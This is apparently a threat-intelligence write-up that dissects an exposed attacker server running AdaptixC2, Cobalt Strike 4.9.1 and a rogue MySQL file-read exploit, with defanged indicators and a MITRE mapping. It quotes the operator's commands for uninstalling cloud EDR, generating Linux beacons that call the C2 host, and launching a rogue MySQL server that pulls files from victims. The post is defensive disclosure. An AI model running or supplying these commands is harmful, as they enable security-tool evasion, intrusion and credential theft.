Ahmed Elessaway xElessaway research portfolio
Connect
Intelligence Report VERIFIED ANALYSIS

Dissecting Exposed Adaptix C2 and Rogue MySQL Exploitation Infrastructure

In-depth forensic review of an exposed threat staging server running AdaptixC2, Cobalt Strike 4.9.1, and weaponized Rogue MySQL arbitrary file read attacks.

4 min read
#threat-intelligence#adaptix-c2#cobalt-strike#rogue-mysql#dfir#infrastructure
Dissecting Exposed Adaptix C2 and Rogue MySQL Exploitation Infrastructure
Primary Case Exhibit: Dissecting Exposed Adaptix C2 and Rogue MySQL Exploitation Infrastructure

Executive Summary

Passive intelligence telemetry recently revealed an exposed operational staging environment hosted on Tencent Cloud at 101[.]42[.]255[.]92:8001. A forensic review of the server’s command telemetry, configuration files, and active listener daemons provides an unvarnished view of an active intrusion set dubbed the RedHydra Adaptix Cluster.

The operator’s infrastructure demonstrates a versatile multi-stage offensive toolkit combining:

  1. Modern post-exploitation C2 servers (AdaptixC2, customized RRR_C2, and Cobalt Strike 4.9.1 with CrossC2 Linux support).
  2. Protocol-level exploitation targeting enterprise Java/Spring backends via Rogue MySQL arbitrary file retrieval and JNDI / fastjson deserialization.
  3. Targeted automated reconnaissance against municipal and health administration systems using ENScan_GO.

1. Host Staging & Defense Evasion

Upon initial provisioning of the Ubuntu VPS on Tencent Cloud, the threat actor’s immediate priority was neutralizing cloud host-level detection and EDR monitoring. The shell history details the systematic dismantling of Tencent Cloud’s YunJing host security suite:

# EDR uninstallation & process termination
ps aux | grep -E "YDService|YDLive|YDEdr|SecScan|TataSec"
sudo /usr/local/qcloud/YunJing/uninstall.sh
killall -9 YDService YDLive YDEyes 2>/dev/null
systemctl stop YDService 2>/dev/null
systemctl disable YDService 2>/dev/null
rm -rf /usr/local/qcloud

Additionally, the operator established regional IP filtering using ipset and nftables to restrict incoming connections and block known scanning subnets while maintaining an automated proxy rotation pool (proxy_pool).

2. Command & Control Architecture

The host simultaneously supported multiple concurrent C2 channels:

A. Cobalt Strike 4.9.1 TeamServer & CrossC2

The operator maintained an active Cobalt Strike 4.9.1 teamserver:

./teamserver 101[.]42[.]255[.]92 '<redacted_auth_key>'

To enable cross-platform Linux operations, the actor leveraged CrossC2 (genCrossC2.Linux) to compile customized Linux ELF beacons:

genCrossC2.Linux 101[.]42[.]255[.]92 8081 ./.cobaltstrike.beacon_keys null Linux x64 t_cc2.out

B. Adaptix C2 & RRR_C2 Framework

Alongside Cobalt Strike, the operator compiled and deployed AdaptixC2 and a customized fork designated RRR_C2_v1.2:

# Adaptix server execution with self-signed SSL profile
./adaptixserver -profile profile.yaml

3. Exploitation Tradecraft: Rogue MySQL Protocol Attack

One of the most notable techniques captured in the forensic logs is the weaponization of the MySQL client-server protocol to perform Arbitrary Client File Reads.

When a victim Java web application connects to an attacker-controlled MySQL server via JDBC, a malicious server can respond to query greetings with a LOCAL INFILE packet request, forcing the connecting client to transmit files from its local disk back to the attacker.

# Attacker launching rogue MySQL server on port 3306
python3 -u rogue_mysql_jar.py 'D:/server/yzs/code/backed/meis-yzs.jar' 3306

Recovered Exfiltrated Artifacts

Through this vector, the operator successfully exfiltrated internal application code and Spring configurations:

  • D:/server/yzs/code/backed/meis-yzs.jar
  • BOOT-INF/classes/config/application-dev.yml
  • Database credentials and internal API tokens

In addition to file reads, the operator paired the rogue MySQL server with Java deserialization payloads (CommonsCollections4, CommonsCollections5, CommonsBeanutils1) via ysoserial to achieve Remote Code Execution (RCE) on connecting hosts.

4. Reconnaissance: Targeting Healthcare & Municipal Portals

The operator’s reconnaissance tooling included ENScan_GO, an automated asset and enterprise mapping tool. Forensic evidence confirms active scanning against provincial health and municipal commissions:

./enscan_local -is-branch -invest 51 --hold -delay 10 -deep 2 -n "卫生健康委员会"

Observed probe targets included municipal cultural portals and health administration endpoints across regional network blocks.

5. Indicators of Compromise (Defanged)

IOC TypeIndicatorContext
IPv4101[.]42[.]255[.]92Primary Staging, Cobalt Strike & Adaptix C2 Host
Port / Service101[.]42[.]255[.]92:8081Cobalt Strike / CrossC2 Listener
Port / Service101[.]42[.]255[.]92:3306Rogue MySQL Exploitation Listener
Port / Service101[.]42[.]255[.]92:8555JNDI / HTTP Payload Staging
Port / Service101[.]42[.]255[.]92:8857Reverse Shell Catching Listener
Tool ArtifactgenCrossC2.LinuxCross-platform Cobalt Strike Beacon Generator
Tool Artifactrogue_mysql_serverJDBC Protocol Arbitrary File Exfiltration Tool

6. MITRE ATT&CK Mapping

  • T1190 – Exploit Public-Facing Application (JNDI / MySQL Connector exploitation)
  • T1552.001 – Credentials in Files (Exfiltration of application-dev.yml)
  • T1562.001 – Disable or Modify Tools (Uninstallation of Tencent YunJing agent)
  • T1071.001 – Application Layer Protocol: Web Protocols (Adaptix/Cobalt Strike C2)
  • T1596 – Search Open Technical Databases (Asset mapping via ENScan)